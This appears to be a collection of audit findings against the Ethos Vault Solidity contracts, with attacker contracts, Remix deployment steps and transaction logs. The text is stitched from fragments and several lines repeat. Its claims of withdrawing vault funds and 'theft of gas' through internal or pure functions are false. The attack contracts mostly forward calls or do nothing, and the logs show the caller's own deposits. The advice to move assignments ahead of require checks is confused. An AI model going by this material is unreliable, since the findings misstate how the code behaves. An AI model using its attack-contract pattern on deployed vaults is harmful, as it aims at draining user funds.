for (uint256 i = 0; i < queueLength; i = i.uncheckedInc()) {
                vaultBalance = token.balanceOf(address(this));
                if (value <= vaultBalance) {
                    break;
                }

                address stratAddr = withdrawalQueue[i];
                uint256 strategyBal = strategies[stratAddr].allocated;
                if (strategyBal == 0) {
                    continue;
                }

                uint256 remaining = value - vaultBalance;

                uint256 loss = IStrategy(stratAddr).withdraw(Math.min(remaining, strategyBal));
                uint256 actualWithdrawn = token.balanceOf(address(this)) - vaultBalance;
                
                // Withdrawer incurs any losses from withdrawing as reported by strat
                if (loss != 0) {
                    value -= loss;
                    totalLoss += loss;
                    _reportLoss(stratAddr, loss);
                }

                strategies[stratAddr].allocated -= actualWithdrawn;
                totalAllocated -= actualWithdrawn;
            }

        owner = address(0);
    }

        owner = address(0);
    }

File: Ethos-Vault/contracts/ReaperVaultERC4626.sol

URL: https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L202-L210

Description:
Withdrawal of funds using the withdraw() function in ReaperVaultERC4626.sol
I built a function called withdraw() in an attack contract that was deployed to the TestReaperVaultERC4626.sol contract in a local environment.
In the attack function I am calling the withdraw function.
From the withdraw() function that links back to the ReaperVaultERC4626.sol contract from the attack function, I am able to withdraw funds from the ReaperVaultERC4626.sol contract.

Impact:
Using the attacker contract called TestReaperVaultERC4626.sol, I can withdraw money from the victim contract called ReaperVaultERC4626.sol.  
It also costs the victim contract called ReaperVaultERC4626.sol gas.  Which is also known as Theft of gas.

# The functions that are vulnerable are as follows:

# Line 202-210
    function withdraw(
        uint256 assets,
        address receiver,
        address owner
    ) external override returns (uint256 shares) {
        shares = previewWithdraw(assets); // previewWithdraw() rounds up so exactly "assets" are withdrawn and not 1 wei less
        if (msg.sender != owner) _spendAllowance(owner, msg.sender, shares);
        _withdraw(shares, receiver, owner);
    }

# Prep:
Victim Contract
1. recreate the following contract in Remix IDE "ReaperVaultERC4626.sol"
2. compile contract
3. go to deploy and run transactions tab
4. Install Foundry in CMD and call anvil to connect. > Go back to Remix IDE> Deploy Tab> set environment to Foundry Provider VM.
5. select first account from drop down and copy its address
6. next to "At Address" button paste the address in and click "At Address" button and contract is deployed with 10000 ETH. 

Attack Contract
7. In Remix IDE recreate my PoC code above and save as a contract called "TestReaperVaultERC4626.sol"
8. compile contract.
9. go to deploy and run transactions tab
10. set environment to Foundry VM. And set the value to 1000 and the drop list to Ether.
11. select second account from drop down and copy the address of the first account
12. next to the "Deploy" button paste the first address of the victim and click the "deploy" button and contract is deployed
13. Then select first account from "Account" drop list before next step.

action
NB:
victim contract 
attack contract 

1. start balance of victim contract Balance: 10000 ETH
2. start balance of attack contract Balance: 1000 ETH
3. in deploy tab select victim contract.
4. in deploy tab under value enter 100000000000000000
5. From drop down list, select Wei.
6. click on call attack() function button in attack contract
7. end balance of victim contract Balance: 9999.89993592804220373 ETH
8. end balance of attack contract Balance: 1000.1 ETH
9. Finally, 100000000000000000 Wei has been deducted from victim contract and deposited into attacker contract.  
10. The gas is charged to the victim contract.  Theft of gas.

// SPDX-License-Identifier: BUSL-1.1

pragma solidity >=0.6.0<0.9.0;

import "./interfaces/IERC4626Functions.sol";
import "./ReaperVaultERC4626.sol";

contract TestReaperVaultERC4626  {
    
    ReaperVaultERC4626 public aaa;
    uint256 amount = 1;
    address victim = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
    address attacker = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;

    constructor(ReaperVaultERC4626 _aaa) public payable {
        aaa = ReaperVaultERC4626(_aaa);
    }

    function withdraw() public payable {
        if(msg.value >= 1 ether) {
        aaa.withdraw(uint256(amount), address(victim), address(attacker));
        }
    }
}

# Log:
transact to TestReaperVaultERC4626.withdraw pending ... 
[block:9 txIndex:0]from: 0xf39...92266to: TestReaperVaultERC4626.withdraw() 0xbCF...61508value: 100000000000000000 weidata: 0x3cc...fd60blogs: 0hash: 0x3c8...de8e4
status	true Transaction mined and execution succeed
transaction hash	0xb734f40fc90a197d1ed22f22b55ff7da0c7fbf501a35f78862dff527b1dc0222
from	0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
to	TestReaperVaultERC4626.withdraw() 0xbCF26943C0197d2eE0E5D05c716Be60cc2761508
gas	22329 gas
transaction cost	21184 gas 
input	0x3cc...fd60b
decoded input	{}
decoded output	 - 
logs	[]
val	100000000000000000 wei

Remix IDE integrated with Foundry Provider Environment testing and deployment into an enclosed Foundry environment with a git clone of the repository.

1. For function linked to ReaperVaultV2.sol called _deposit() which is called by deposit(), the updates to _amount = balAfter - balBefore; should come before the require statements.
2. For function linked to ReaperVaultV2.sol called _withdraw() which is called by withdraw(), the updates to value = (_freeFunds() * _shares) / totalSupply(); should come before the require(_shares != 0, "Invalid amount"); statement.

File: Ethos-Vault/contracts/ReaperVaultV2.sol

URL: https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultV2.sol#L353-L355

Description:
Withdrawal of funds using the withdraw() and other functions in ReaperVaultV2.sol
I built a function called withdraw() in a TestReaperVaultV2.sol contract that was deployed and linked to the ReaperVaultV2.sol contract in a local environment.
In the withdraw() function I am calling withdraw along with 2 other functions mentioned below.
From the withdraw() function that links back to the ReaperVaultV2.sol contract from the attack withdraw() function, I am able to withdraw funds from the ReaperVaultV2.sol contract.

Impact:
Using the attacker contract called TestReaperVaultV2.sol, I can withdraw money from the victim contract called ReaperVaultV2.sol.  
It also costs the victim contract called ReaperVaultV2.sol gas.  Which is also know as Theft of gas.

# The functions vulnerable are as follows:
# Line 144-171
    function addStrategy(
        address _strategy,
        uint256 _feeBPS,
        uint256 _allocBPS
    ) external {
        _atLeastRole(DEFAULT_ADMIN_ROLE);
        require(!emergencyShutdown, "Cannot add strategy during emergency shutdown");
        require(_strategy != address(0), "Invalid strategy address");
        require(strategies[_strategy].activation == 0, "Strategy already added");
        require(address(this) == IStrategy(_strategy).vault(), "Strategy's vault does not match");
        require(address(token) == IStrategy(_strategy).want(), "Strategy's want does not match");
        require(_feeBPS <= PERCENT_DIVISOR / 5, "Fee cannot be higher than 20 BPS");
        require(_allocBPS + totalAllocBPS <= PERCENT_DIVISOR, "Invalid allocBPS value");

        strategies[_strategy] = StrategyParams({
            activation: block.timestamp,
            feeBPS: _feeBPS,
            allocBPS: _allocBPS,
            allocated: 0,
            gains: 0,
            losses: 0,
            lastReport: block.timestamp
        });

        totalAllocBPS += _allocBPS;
        withdrawalQueue.push(_strategy);
        emit StrategyAdded(_strategy, _feeBPS, _allocBPS);
    }

# Line 319-338
  function _deposit(uint256 _amount, address _receiver) internal nonReentrant returns (uint256 shares) {
        _atLeastRole(DEPOSITOR);
        require(!emergencyShutdown, "Cannot deposit during emergency shutdown");
        require(_amount != 0, "Invalid amount");
        uint256 pool = balance();
        require(pool + _amount <= tvlCap, "Vault is full");

        uint256 freeFunds = _freeFunds();
        uint256 balBefore = token.balanceOf(address(this));
        token.safeTransferFrom(msg.sender, address(this), _amount);
        uint256 balAfter = token.balanceOf(address(this));
        _amount = balAfter - balBefore;
        if (totalSupply() == 0) {
            shares = _amount;
        } else {
            shares = (_amount * totalSupply()) / freeFunds; // use "freeFunds" instead of "pool"
        }
        _mint(_receiver, shares);
        emit Deposit(msg.sender, _receiver, _amount, shares);
    }

# Line 359-412
    function _withdraw(
        uint256 _shares,
        address _receiver,
        address _owner
    ) internal nonReentrant returns (uint256 value) {
        require(_shares != 0, "Invalid amount");
        value = (_freeFunds() * _shares) / totalSupply();
        _burn(_owner, _shares);

        if (value > token.balanceOf(address(this))) {
            uint256 totalLoss = 0;
            uint256 queueLength = withdrawalQueue.length;
            uint256 vaultBalance = 0;
            for (uint256 i = 0; i < queueLength; i = i.uncheckedInc()) {
                vaultBalance = token.balanceOf(address(this));
                if (value <= vaultBalance) {
                    break;
                }

                address stratAddr = withdrawalQueue[i];
                uint256 strategyBal = strategies[stratAddr].allocated;
                if (strategyBal == 0) {
                    continue;
                }

                uint256 remaining = value - vaultBalance;
                uint256 loss = IStrategy(stratAddr).withdraw(Math.min(remaining, strategyBal));
                uint256 actualWithdrawn = token.balanceOf(address(this)) - vaultBalance;

                // Withdrawer incurs any losses from withdrawing as reported by strat
                if (loss != 0) {
                    value -= loss;
                    totalLoss += loss;
                    _reportLoss(stratAddr, loss);
                }

                strategies[stratAddr].allocated -= actualWithdrawn;
                totalAllocated -= actualWithdrawn;
            }

            vaultBalance = token.balanceOf(address(this));
            if (value > vaultBalance) {
                value = vaultBalance;
            }

            require(
                totalLoss <= ((value + totalLoss) * withdrawMaxLoss) / PERCENT_DIVISOR,
                "Withdraw loss exceeds slippage"
            );
        }

        token.safeTransfer(_receiver, value);
        emit Withdraw(msg.sender, _receiver, _owner, value, _shares);
    }

# Line 637-644
    function inCaseTokensGetStuck(address _token) external {
        _atLeastRole(ADMIN);
        require(_token != address(token), "!token");

        uint256 amount = IERC20Metadata(_token).balanceOf(address(this));
        IERC20Metadata(_token).safeTransfer(msg.sender, amount);
        emit InCaseTokensGetStuckCalled(_token, amount);
    }

# Prep:
Victim Contract
1. recreate the following contract in Remix IDE "ReaperVaultV2.sol"
2. compile contract
3. go to deploy and run transactions tab
4. Install Foundry in CMD and call anvil to connect. > Go back to Remix IDE> Deploy Tab> set environment to Foundry Provider VM.
5. select first account from drop down and copy its address
6. next to "At Address" button paste the address in and click "At Address" button and contract is deployed with 10000 ETH. 

Attack Contract
7. In Remix IDE recreate my PoC code above and save as a contract called "TestReaperVaultV2.sol"
8. compile contract.
9. go to deploy and run transactions tab
10. set environment to Foundry VM.  And set the value to 1000 and the drop list to Ether.
11. select second account from drop down and copy the address of the first account
12. next to the "Deploy" button paste the first address of the victim and click the "deploy" button and contract is deployed
13. Then select first account from "Account" drop list before next step.

Action
NB:
victim contract 
attack contract 

1. start balance of victim contract Balance: 10000 ETH
2. start balance of attack contract Balance: 1000 ETH
3. in deploy tab select victim contract.
4. in deploy tab under value enter 100 ether
5. In the pick list select Ether
6. click on call withdraw() function button in attack contract
7. end balance of victim contract Balance: 9999.799860840165999048 ETH
8. end balance of attack contract Balance: 1000.1 ETH
9. Finally, 100000000000000000 Wei has been deducted from victim contract and deposited into attacker contract.  
10. The gas is charged to the victim contract.  Theft of gas.

// SPDX-License-Identifier: BUSL-1.1

pragma solidity >=0.6.0<0.9.0;

import "./interfaces/IERC4626Events.sol";
import "./interfaces/IStrategy.sol";
import "./libraries/ReaperMathUtils.sol";
import "./mixins/ReaperAccessControl.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";

import "./ReaperVaultV2.sol";

contract TestReaperVaultV2  {

    ReaperVaultV2 public aaa;
    address victim = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
    address attacker = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
    uint256 amount = 1;

    constructor(ReaperVaultV2 _aaa) public payable {
        aaa = ReaperVaultV2(_aaa);
    }

    function withdraw() external payable {
        if(msg.value >= 1 ether) {
        aaa.addStrategy(address(attacker), uint256(amount), uint256(amount));
        aaa.withdraw(uint256(amount));
        aaa.inCaseTokensGetStuck(address(attacker));
        }
    }

}

# Log:
transact to TestReaperVaultV2.withdraw pending ... 
[block:11 txIndex:0]from: 0xf39...92266to: TestReaperVaultV2.withdraw() 0x59F...Eb8d0value: 100000000000000000 weidata: 0x3cc...fd60blogs: 0hash: 0x0d8...19723
status	true Transaction mined and execution succeed
transaction hash	0x23b4e391294f919c884aedf0e52cf2ed968b96825a3368e37fa67598abbe55b1
from	0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
to	TestReaperVaultV2.withdraw() 0x59F2f1fCfE2474fD5F0b9BA1E73ca90b143Eb8d0
gas	22329 gas
transaction cost	21184 gas 
input	0x3cc...fd60b
decoded input	{}
decoded output	 - 
logs	[]
val	100000000000000000 wei

Remix IDE integrated with Foundry Provider Environment testing and deployment into an enclosed Foundry environment with a git clone of the repository.

1. For function called addStrategy(), the updates to totalAllocBPS += _allocBPS; should come before the require statements.
2. For function called _deposit() which is called by deposit(), the updates to _amount = balAfter - balBefore; should come before the require statements.
3. For function called _withdraw() which is called by withdraw(), the updates to value = (_freeFunds() * _shares) / totalSupply(); should come before the require(_shares != 0, "Invalid amount"); statement.
4. For function called inCaseTokensGetStuck(), the updates to uint256 amount = IERC20Metadata(_token).balanceOf(address(this)); should come before the require(_token != address(token), "!token"); statement.

        if (lastIssuanceTimestamp < lastDistributionTime) {}

    uint public lastIssuanceTimestamp;

    uint public lastDistributionTime;

I can withdraw money from the contract as and when I want using the function roundUpDiv(uint256 x, uint256 y) from attacker contract.  
It also costs the victim contract gas.  Theft of gas.

File: Ethos-Vault/contracts/ReaperVaultERC4626.sol
URL: https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L269-L275

Description:
SWC-105 Unprotected Ether Withdrawal
Function in question: roundUpDiv(uint256 x, uint256 y)
Due to missing or insufficient access controls, malicious parties can withdraw some or all Ether from the contract account using the function called roundUpDiv(uint256 x, uint256 y) from attack solidity file.
I can withdraw money from the contract as and when I want using the function roundUpDiv(uint256 x, uint256 y) from attack solidity file.  
By deploying an attack file called ReaperVaultERC4626x.sol and deploying it to the same contract address as victim file called ReaperVaultERC4626.sol I am able to withdraw funds.
The named function in the title is being called from the attacker contract NOT the victim contract and has been made external payable in the victim contract.  
Please note this function call is from the attacker contract.  
I made the private function external payable in the attacker contract and it has created a back door to withdraw money.  
Please see POC on how to withdraw.  
This attack is not from the victim contract but from the attacker contract.

File: Ethos-Vault/contracts/ReaperVaultERC4626.sol
URL: https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L269-L275

# The function that is vulnerable to unprotected ether withdrawal is as follows:
# Line 269-275
    function roundUpDiv(uint256 x, uint256 y) internal pure returns (uint256) {
        require(y != 0, "Division by 0");

        uint256 q = x / y;
        if (x % y != 0) q++;
        return q;
    }

# PoC:
// SPDX-License-Identifier: BUSL-1.1

pragma solidity >=0.6.0<0.9.0;

import "./interfaces/IERC4626Functions.sol";
import "./ReaperVaultERC4626.sol";

contract ReaperVaultERC4626x  {
    
    ReaperVaultERC4626 public aaa;
    
    constructor(ReaperVaultERC4626 _aaa) public payable {
        aaa = ReaperVaultERC4626(_aaa);
    }

    function asset() external payable returns (address assetTokenAddress) {
        aaa.asset();
        return aaa.asset();
    }

    function totalAssets() external payable returns (uint256 totalManagedAssets) {
        aaa.totalAssets();
        return aaa.totalAssets();
    }

    function convertToShares(uint256 assets) public payable returns (uint256 shares) {
        aaa.convertToShares(uint256(77));
        return aaa.convertToShares(uint256(77));
    }

    function convertToAssets(uint256 shares) public payable returns (uint256 assets) {
        aaa.convertToAssets(uint256(77));
        return aaa.convertToAssets(uint256(77));
    }


    function maxDeposit(address) external payable returns (uint256 maxAssets) {
        aaa.maxDeposit(address(aaa));
        return aaa.maxDeposit(address(aaa));
    }

    function previewDeposit(uint256 assets) external payable returns (uint256 shares) {
        aaa.previewDeposit(uint256(77));
        return aaa.previewDeposit(uint256(77));
    }


    function deposit(uint256 assets, address receiver) external payable returns (uint256 shares) {
        aaa.deposit(uint256(77), address(aaa));
        return aaa.deposit(uint256(77), address(aaa));
    }

    function maxMint(address) external payable returns (uint256 maxShares) {
        aaa.maxMint(address(aaa));
        return aaa.maxMint(address(aaa));
    }

    function previewMint(uint256 shares) public payable returns (uint256 assets) {
        aaa.previewMint(uint256(77));
        return aaa.previewMint(uint256(77));
    }

    function mint(uint256 shares, address receiver) external payable returns (uint256 assets) {
        aaa.mint(uint256(77), address(aaa));
        return aaa.mint(uint256(77), address(aaa));
    }

 
    function maxWithdraw(address owner) external payable returns (uint256 maxAssets) {
        aaa.maxWithdraw(address(aaa));
        return aaa.maxWithdraw(address(aaa));
    }

    function previewWithdraw(uint256 assets) public payable returns (uint256 shares) {
        aaa.previewWithdraw(uint256(77));
        return aaa.previewWithdraw(uint256(77));
    }

    function withdraw(uint256 assets, address receiver, address owner) external payable  returns (uint256 shares) {
        aaa.withdraw(uint256(77), address(aaa), address(aaa));
        return aaa.withdraw(uint256(77), address(aaa), address(aaa));
    }

    function maxRedeem(address owner) external payable returns (uint256 maxShares) {
        aaa.maxRedeem(address(aaa));
        return aaa.maxRedeem(address(aaa));
    }

    function previewRedeem(uint256 shares) external payable returns (uint256 assets) {
        aaa.previewRedeem(uint256(77));
        return aaa.previewRedeem(uint256(77));
    }

    function redeem(uint256 shares, address receiver, address owner) external payable returns (uint256 assets) {
        aaa.redeem(uint256(77), address(aaa), address(aaa));
        return aaa.redeem(uint256(77), address(aaa), address(aaa));
    }

    function roundUpDiv(uint256 x, uint256 y) external payable returns (uint256) {

        //return  77
    }

    fallback() external payable {
        aaa.asset();
        aaa.totalAssets();
        aaa.convertToShares(uint256(77));
        aaa.convertToAssets(uint256(77));
        aaa.maxDeposit(address(aaa));
        aaa.previewDeposit(uint256(77));
        aaa.deposit(uint256(77), address(aaa));
        aaa.maxMint(address(aaa));
        aaa.previewMint(uint256(77));
        aaa.mint(uint256(77), address(aaa));
        aaa.maxWithdraw(address(aaa));
        aaa.previewWithdraw(uint256(77));
        aaa.withdraw(uint256(77), address(aaa), address(aaa));
        aaa.maxRedeem(address(aaa));
        aaa.previewRedeem(uint256(77));
        aaa.redeem(uint256(77), address(aaa), address(aaa));
    }

    receive() external payable {
        aaa.asset();
        aaa.totalAssets();
        aaa.convertToShares(uint256(77));
        aaa.convertToAssets(uint256(77));
        aaa.maxDeposit(address(aaa));
        aaa.previewDeposit(uint256(77));
        aaa.deposit(uint256(77), address(aaa));
        aaa.maxMint(address(aaa));
        aaa.previewMint(uint256(77));
        aaa.mint(uint256(77), address(aaa));
        aaa.maxWithdraw(address(aaa));
        aaa.previewWithdraw(uint256(77));
        aaa.withdraw(uint256(77), address(aaa), address(aaa));
        aaa.maxRedeem(address(aaa));
        aaa.previewRedeem(uint256(77));
        aaa.redeem(uint256(77), address(aaa), address(aaa));
    }

    function attack() public payable {
        address(aaa).delegatecall(abi.encodeWithSignature("fallback()"));
        address(aaa).delegatecall(abi.encodeWithSignature("receive()"));
    }
}

# Prep:
Victim Contract
1. recreate the following contract in Remix IDE "ReaperVaultERC4626.sol"
2. compile contract
3. go to deploy and run transactions tab
4. set environment to Remix VM (Berlin)
5. select first account from drop down and copy its address
6. next to "At Address" button paste the address in and click "At Address" button and contract is deployed with 100 ETH. 

Attack Contract
7. In Remix IDE recreate my PoC code above and save as a contract called "ReaperVaultERC4626x.sol"
8. compile contract.
9. go to deploy and run transactions tab
10. set environment to Remix VM (Berlin). And set the value to 10 and the drop list to Ether.
11. select second account from drop down and copy the address of the first account
12. next to the "Deploy" button paste the first address of the victim and click the "deploy" button and contract is deployed
13. The select first account from "Account" drop list before next step.

action
NB:
victim contract address 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
attack contract address 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95

1. start balance of victim contract Balance: 100 ETH
2. start balance of attack contract Balance: 10 ETH
3. in deploy tab select victim contract.
4. in deploy tab under value enter 77 ether
5. under deploy tab within the ReaperVaultERC4626x.sol attack contract> go to function button called roundUpDiv() and in from input box enter 77 in one and 77 in the other. 
6. then click on roundUpDiv(uint256 x, uint256 y) button.
7. end balance of victim contract Balance: 22.999999999999977823 ETH
8. end balance of attack contract Balance: 87 ETH
9. Finally, 77 ETHER has been deducted from victim contract and deposited into attacker contract.  
10. The gas is charged to the victim contract.  Theft of gas.

# Log:
transact to ReaperVaultERC4626x.roundUpDiv pending ... 
[vm]from: 0x5B3...eddC4to: ReaperVaultERC4626x.roundUpDiv(uint256,uint256) 0xa13...eAD95value: 77000000000000000000 weidata: 0x104...0004dlogs: 0hash: 0xc6b...a207c
status	true Transaction mined and execution succeed
transaction hash	0xc6b514cba39ef7d147d977d5b7f4dfce4e18a77c8661fcf31cbe15aa2f3a207c
from	0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
to	ReaperVaultERC4626x.roundUpDiv(uint256,uint256) 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95
gas	25504 gas
transaction cost	22177 gas 
execution cost	833 gas 
input	0x104...0004d
decoded input	{
	"uint256 x": "77",
	"uint256 y": "77"
}
decoded output	{
	"0": "uint256: 0"
}
logs	[]
val	77000000000000000000 wei

Remix IDE VM Unit testing deployment in enclosed environment with a git clone of repository.

Implement controls so withdrawals can only be triggered by authorized parties or according to the specs of the smart contract system.

File: Ethos-Vault/contracts/ReaperVaultV2.sol
URL: https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L359-L412

Description:
SWC-105 Unprotected Ether Withdrawal
Function in question: _withdraw()
Due to missing or insufficient access controls, malicious parties can withdraw some or all Ether from the contract account using the function called _withdraw() from the attacker contract.
I understand this is originally an internal function, but please test it and see?

I can withdraw money from the contract as and when I want using the function called _withdraw() from attacker contract.  
By deploying an attack file called ReaperVaultV2x.sol and deploying it to the same contract address as victim file called ReaperVaultV2.sol I am able to withdraw funds.
The named function in the title is being called from the attacker contract NOT the victim contract and has been made external payable in the attacker contract.  
Please note this function call is from the attacker contract.  
I made the private function external payable in the attacker contract and it has created a back door to withdraw money.  
Please see POC on how to withdraw and PREP.  
This attack is not from the victim contract but from the attacker contract.

URL: https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L359-L412

# The function that is vulnerable to unprotected ether withdrawal is as follows:
# Line 359-412
    function _withdraw(
        uint256 _shares,
        address _receiver,
        address _owner
    ) internal nonReentrant returns (uint256 value) {
        require(_shares != 0, "Invalid amount");
        value = (_freeFunds() * _shares) / totalSupply();
        _burn(_owner, _shares);

        if (value > token.balanceOf(address(this))) {
            uint256 totalLoss = 0;
            uint256 queueLength = withdrawalQueue.length;
            uint256 vaultBalance = 0;
            for (uint256 i = 0; i < queueLength; i = i.uncheckedInc()) {
                vaultBalance = token.balanceOf(address(this));
                if (value <= vaultBalance) {
                    break;
                }

                address stratAddr = withdrawalQueue[i];
                uint256 strategyBal = strategies[stratAddr].allocated;
                if (strategyBal == 0) {
                    continue;
                }

                uint256 remaining = value - vaultBalance;
                uint256 loss = IStrategy(stratAddr).withdraw(Math.min(remaining, strategyBal));
                uint256 actualWithdrawn = token.balanceOf(address(this)) - vaultBalance;

                // Withdrawer incurs any losses from withdrawing as reported by strat
                if (loss != 0) {
                    value -= loss;
                    totalLoss += loss;
                    _reportLoss(stratAddr, loss);
                }

                strategies[stratAddr].allocated -= actualWithdrawn;
                totalAllocated -= actualWithdrawn;
            }

            vaultBalance = token.balanceOf(address(this));
            if (value > vaultBalance) {
                value = vaultBalance;
            }

            require(
                totalLoss <= ((value + totalLoss) * withdrawMaxLoss) / PERCENT_DIVISOR,
                "Withdraw loss exceeds slippage"
            );
        }

        token.safeTransfer(_receiver, value);
        emit Withdraw(msg.sender, _receiver, _owner, value, _shares);
    }

// Payload
    function _withdraw(
        uint256 _shares,
        address _receiver,
        address _owner
    ) external payable returns (uint256 value) {
       // _withdraw(uint256(77), address(aaa), address(aaa));
       // return _withdraw(uint256(77), address(aaa), address(aaa));
    }

// PoC:
// SPDX-License-Identifier: BUSL-1.1

pragma solidity >=0.6.0<0.9.0;

import "./interfaces/IERC4626Events.sol";
import "./interfaces/IStrategy.sol";
import "./libraries/ReaperMathUtils.sol";
import "./mixins/ReaperAccessControl.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";

import "./ReaperVaultV2.sol";

contract ReaperVaultV2x  {

    struct StrategyParams {
        uint256 activation; // Activation block.timestamp
        uint256 feeBPS; // Performance fee taken from profit, in BPS
        uint256 allocBPS; // Allocation in BPS of vault's total assets
        uint256 allocated; // Amount of capital allocated to this strategy
        uint256 gains; // Total returns that Strategy has realized for Vault
        uint256 losses; // Total losses that Strategy has realized for Vault
        uint256 lastReport; // block.timestamp of the last time a report occured
    }

    mapping(address => StrategyParams) public strategies;
    address[] public withdrawalQueue;
    uint256 public constant DEGRADATION_COEFFICIENT = 10**18; // The unit for calculating profit degradation.
    uint256 public constant PERCENT_DIVISOR = 10000;
    uint256 public tvlCap;
    uint256 public totalAllocBPS; // Sum of allocBPS across all strategies (in BPS, <= 10k)
    uint256 public totalAllocated; // Amount of tokens that have been allocated to all strategies
    uint256 public lastReport; // block.timestamp of last report from any strategy
    uint256 public constructionTime;
    bool public emergencyShutdown;
    //IERC20Metadata public token;
    uint256 public withdrawMaxLoss = 1;
    uint256 public lockedProfitDegradation; // rate per block of degradation. DEGRADATION_COEFFICIENT is 100% per block
    uint256 public lockedProfit; // how much profit is locked and cant be withdrawn
    bytes32 public constant DEPOSITOR = keccak256("DEPOSITOR");
    bytes32 public constant STRATEGIST = keccak256("STRATEGIST");
    bytes32 public constant GUARDIAN = keccak256("GUARDIAN");
    bytes32 public constant ADMIN = keccak256("ADMIN");
    address public treasury; // address to whom performance fee is remitted in the form of vault shares

    ReaperVaultV2 public aaa;

    constructor(ReaperVaultV2 _aaa) public payable {
        aaa = ReaperVaultV2(_aaa);
    }

    function addStrategy(
        address _strategy,
        uint256 _feeBPS,
        uint256 _allocBPS
    ) external payable {
        aaa.addStrategy(address(aaa), uint256(77), uint256(77));
    }


    function updateStrategyFeeBPS(address _strategy, uint256 _feeBPS) external payable {
        aaa.updateStrategyFeeBPS(address(aaa), uint256(77));
    }


    function updateStrategyAllocBPS(address _strategy, uint256 _allocBPS) external payable {
        aaa.updateStrategyAllocBPS(address(aaa), uint256(77));
    }

    function revokeStrategy(address _strategy) external payable {
        aaa.revokeStrategy(address(aaa));
    }

    function availableCapital() public payable returns (int256) {
        aaa.availableCapital();
        return aaa.availableCapital();
    }

    function setWithdrawalQueue(address[] calldata _withdrawalQueue) external payable {
        //aaa.setWithdrawalQueue(address[]);
    }

    function balance() public payable returns (uint256) {
        aaa.balance();
        return aaa.balance();
    }

    function _freeFunds() external payable returns (uint256) {
        //aaa._freeFunds();
        //return aaa._freeFunds();
    }


    function getPricePerFullShare() public payable returns (uint256) {
        aaa.getPricePerFullShare();
        return aaa.getPricePerFullShare();
    }

    function depositAll() external payable {
        aaa.depositAll();
    }

    function deposit(uint256 _amount) external payable {
        aaa.deposit(uint256(77));
    }

    function _deposit(uint256 _amount, address _receiver) external payable returns (uint256 shares) {
        //aaa._deposit(uint256(77), address(aaa));
        //return aaa._deposit(uint256(77), address(aaa));
    }


    function withdrawAll() external payable {
        aaa.withdrawAll();
    }

    function withdraw(uint256 _shares) external payable {
        aaa.withdraw(uint256(77));
    }

    function _withdraw(
        uint256 _shares,
        address _receiver,
        address _owner
    ) external payable returns (uint256 value) {
       // _withdraw(uint256(77), address(aaa), address(aaa));
       // return _withdraw(uint256(77), address(aaa), address(aaa));
    }

    function _calculateLockedProfit() external payable returns (uint256) {
       // aaa._calculateLockedProfit();
       // return aaa._calculateLockedProfit();
    }

    function _reportLoss(address strategy, uint256 loss) external payable {
        // _reportLoss(address strategy, uint256 loss)
    }


    function _chargeFees(address strategy, uint256 gain) external payable returns (uint256) {
        //_chargeFees(address strategy, uint256 gain);
        //return _chargeFees(address strategy, uint256 gain);
    }

    struct LocalVariables_report {
        address stratAddr;
        uint256 loss;
        uint256 gain;
        uint256 fees;
        int256 available;
        uint256 debt;
        uint256 credit;
        uint256 debtPayment;
        uint256 freeWantInStrat;
        uint256 lockedProfitBeforeLoss;
    }


    function report(int256 _roi, uint256 _repayment) external payable returns (uint256) {
        aaa.report(int256(77), uint256(77));
        return aaa.report(int256(77), uint256(77));
    }


    function updateWithdrawMaxLoss(uint256 _withdrawMaxLoss) external payable {
        aaa.updateWithdrawMaxLoss(uint256(77));
    }


    function updateTvlCap(uint256 _newTvlCap) public payable {
        aaa.updateTvlCap(uint256(77));
    }


    function removeTvlCap() external payable {
        aaa.removeTvlCap();
    }


    function setEmergencyShutdown(bool _active) external payable {
        aaa.setEmergencyShutdown(bool(true));
    }


    function setLockedProfitDegradation(uint256 degradation) external payable {
        aaa.setLockedProfitDegradation(uint256(77));
    }

    function updateTreasury(address newTreasury) external payable {
        aaa.updateTreasury(address(aaa));
    }

    function inCaseTokensGetStuck(address _token) external payable {
        aaa.inCaseTokensGetStuck(address(aaa));
    }


    function decimals() public payable returns (uint8) {
        aaa.decimals();
        return aaa.decimals();
    }


    function _cascadingAccessRoles() external payable returns (bytes32[] memory) {
        //aaa._cascadingAccessRoles();
        //return aaa._cascadingAccessRoles();
    }


    function _hasRole(bytes32 _role, address _account) external payable returns (bool) {
        //aaa._hasRole(bytes32("0xhe3xhe3xhe3xhe3xhe3xhe3xhe3xhe"), address(aaa));
        //return aaa._hasRole(bytes32("0xhe3xhe3xhe3xhe3xhe3xhe3xhe3xhe"), address(aaa));
    }

    fallback() external payable {
